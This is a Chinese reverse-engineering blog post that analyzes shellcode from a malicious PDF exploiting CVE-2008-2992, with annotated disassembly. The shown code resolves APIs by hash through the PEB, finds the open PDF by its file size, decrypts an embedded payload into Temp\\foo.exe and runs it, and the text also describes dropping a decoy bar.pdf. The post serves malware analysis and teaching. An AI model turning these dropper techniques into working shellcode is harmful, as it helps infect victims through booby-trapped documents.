【逆向】PDF CVE-2008-2992 ShellCode分析
上一篇文章里提取的shellcode样本,简单分析下吧,主要是对shellcode分析方法步骤做一个简单记录。
之前文章链接:https://www.cnblogs.com/SunsetR/p/11270981.html
分析方法:
使用IDA和OD配合分析,IDA可以查看主体流程,标注识别一定代码后可以使用Graph view视图进行查看。去除花指令等反反汇编代码后可以F5查看伪代码。而使用OD则可以动态调试诸如解析函数Hash,模拟GetProcAddress获取函数地址等功能。
分析时切记以下几点:
1、shellcode中包含了代码和数据,分析时需要手动识别标注它们。
2、为了节省空间,shellcode通常使用Hash值来计算API名称。
3、为了躲避杀软,shellcode免杀处理时通常会使用加密算法进行加密,执行时自解密。
4、为了完成更多功能,shellcode通常会使用多种技术来获取Kernel32.dll基址,进行动态函数调用。
关注以上几点,shellcode分析时往往能够事半功倍。
下面使用OD和IDA分别加载shellcode。
IDA在执行分析时,将地址0-5C处的内容识别为数据,你可以使用快捷键“C”将它们转换为代码。假如你不能确定数据或代码,可以结合上下文进行分析。
进入sub_17B函数,首先取消(Undefine)IDA错误识别的函数sub_17C,使用快捷键“C”将17C处重定义为代码,选中sub_17B重新编辑函数,将“End address”修改为“00000321”点击OK。
修改后右键选择“Graph view”(空格)视图显示。
sub_17B函数第一条指令使用call/pop指令组合获取并保存了call指令的返回地址,这是shellcode常用操作,我们需要重点关注对该地址的内存操作。
1 seg000:0000017B pop esi //esi = call指令返回地址 2 seg000:0000017C mov [ebp-14h], esi 3 seg000:0000017F mov edi, esi 4 seg000:00000181 mov ebx, esi //以上分别保存了call指令返回地址 5 seg000:00000183 call sub_CA
sub_CA函数使用FS:[30]TEB,PEB结构体获取Kernel32.dll基址。(win7系统下实际获取的是KernelBa.dll基址,为了便于后续分析,手动修改返回值为Kernel32.dll基址即可)。
另外IDA中可以通过“Type libraries”菜单(shift+F11)手动添加依赖库和标准结构体进行标注(Structure offset),标注后代码将更容易阅读理解。
1 seg000:000000CA push esi 2 seg000:000000CB xor eax, eax 3 seg000:000000CD mov eax, fs:[eax+30h] 4 seg000:000000D1 test eax, eax 5 seg000:000000D3 js short loc_E4 6 seg000:000000D5 mov eax, [eax+0Ch] 7 seg000:000000D8 mov esi, [eax+1Ch] 8 seg000:000000DB lodsd 9 seg000:000000DC mov eax, [eax+8] 10 seg000:000000DF jmp loc_E9 11 seg000:000000E4 loc_E4: 12 seg000:000000E4 jmp loc_E4 13 seg000:000000E9 loc_E9: 14 seg000:000000E9 pop esi 15 seg000:000000EA retn
接下来的代码通过call指令返回地址获取函数名称Hash,然后通过sub_7E函数循环获取函数实际调用地址。并将获取到的函数地址,按顺序写回call指令返回地址。该操作一共获取了15个API地址。
1 seg000:00000183 call myGetKernelBase 2 seg000:00000188 mov [ebp-4], eax //保存Kernel32基址 3 seg000:0000018B mov ecx, 0Eh //循环14次 4 seg000:00000190 loc_190: 5 seg000:00000190 lodsd 6 seg000:00000191 push eax //名称Hash 7 seg000:00000192 push dword ptr [ebp-4] //KernelBase 8 seg000:00000195 call sub_7E //获取名称Hash对应函数地址 9 seg000:0000019A stosd //写回call指令返回地址 10 seg000:0000019B loop loc_190 //循环执行 11 seg000:0000019D push 32336Ch 12 seg000:000001A2 push 6C656873h //通过栈拼接字符串"shell32" 13 seg000:000001A7 mov eax, esp 14 seg000:000001A9 push eax 15 seg000:000001AA call dword ptr [ebx] //LoadLibraryA 获取shell32基址 16 seg000:000001AC xchg eax, ecx 17 seg000:000001AD lodsd 18 seg000:000001AE push eax //nameHash 19 seg000:000001AF push ecx //dllBase 20 seg000:000001B0 call sub_7E //获取名称Hash对应函数地址 21 seg000:000001B5 stosd
接下来代码遍历文件句柄,通过获取文件大小来校验是否是打开的PDF文件,所以在调试分析shellcode时需要将PDF文件一同加载到内存中。
1 seg000:000001B6 xor esi, esi 2 seg000:000001B8 mov ebx, [ebp-14h] //ebx = call指令返回地址 3 seg000:000001BB loc_1BB: 4 seg000:000001BB add esi, 4 5 seg000:000001C1 lea eax, [ebp-8] 6 seg000:000001C4 push eax 7 seg000:000001C5 push esi 8 seg000:000001C6 call dword ptr [ebx+1Ch] //GetFileSize 9 seg000:000001C9 cmp eax, [ebx+3Ch] //与返回地址+偏移3C处的文件大小比较 10 seg000:000001CC jnz short loc_1BB //如果文件大小不等于“C602”,循环执行
获取PDF文件句柄后,通过之前获取的“GlobalAlloc”API动态申请内存空间,并从PDF文件开头106F偏移处读取A000大小的数据到申请的缓冲区内。缓冲区大小从call指令返回地址偏移0x40处获取(nSize = A000)。
1 seg000:000001CE mov [ebp-8], esi //保存pdf文件句柄 2 seg000:000001D1 xor edx, edx 3 seg000:000001D3 push dword ptr [ebx+44h] //Buff Size 4 seg000:000001D6 push edx 5 seg000:000001D7 call dword ptr [ebx+30h] //GlobalA1loc 6 seg000:000001DA test eax, eax 7 seg000:000001DC jz loc_313 8 seg000:000001E2 mov [ebp-0Ch], eax //保存地址 9 seg000:000001E5 xor edx, edx 10 seg000:000001E7 push edx //FILE_BEGIN 11 seg000:000001E8 push edx 12 seg000:000001E9 push dword ptr [ebx+40h] //offset 106F 13 seg000:000001EC push dword ptr [ebp-8] //hFile 14 seg000:000001EF call dword ptr [ebx+20h] //SetFilePointer 15 seg000:000001F2 push dword ptr [ebx+44h] //Buff size 16 seg000:000001F5 push dword ptr [ebp-0Ch] //Buff 17 seg000:000001F8 push dword ptr [ebp-8] //hFile 18 seg000:000001FB push dword ptr [ebx+24h] //ReadFile 19 seg000:000001FE call sub_13D //读取文件数据到BUff
获取并拼接Temp\foo.exe路径,解密PDF中获取的Buff数据,将解密后的数据写入foo.exe文件
1 seg000:00000203 xor eax, eax 2 seg000:00000205 lea edi, [ebp-124h] 3 seg000:0000020B mov ecx, 40h ; '@' 4 seg000:00000210 rep stosd //初始化 [ebp-124h] 5 seg000:00000212 lea edi, [ebp-124h] 6 seg000:00000218 push edi 7 seg000:00000219 push 100h 8 seg000:0000021E call dword ptr [ebx+10h] //GetTempPathA 9 seg000:00000221 xor eax, eax 10 seg000:00000223 lea edi, [ebp-124h] 11 seg000:00000229 repne scasb //获取temp路径结尾 12 seg000:0000022B dec edi 13 seg000:0000022C mov [ebp-1Ch], edi 14 seg000:0000022F mov dword ptr [edi], 2E6F6F66h 15 seg000:00000235 mov dword ptr [edi+4], 657865h //在temp路径后追加foo.exe 16 seg000:0000023C mov ebx, [ebp-14h] 17 seg000:0000023F lea eax, [ebp-124h] 18 seg000:00000245 push eax //temp\foo.exe 19 seg000:00000246 push 4Ah ; 'J' //key 20 seg000:0000024B push dword ptr [ebx+44h] //BuffSize 21 seg000:0000024E push dword ptr [ebp-0Ch] //Buff 22 seg000:00000251 push ebx //返回地址 23 seg000:00000252 call sub_EB //解密Buff 写temp\foo.exe
创建进程,启用foo.exe程序。
重复之前操作,申请新的缓冲区,从PDF开头偏移0xB06F处读取144E大小数据到缓冲区,使用相同方法解密数据,并创建Temp\bar.pdf执行。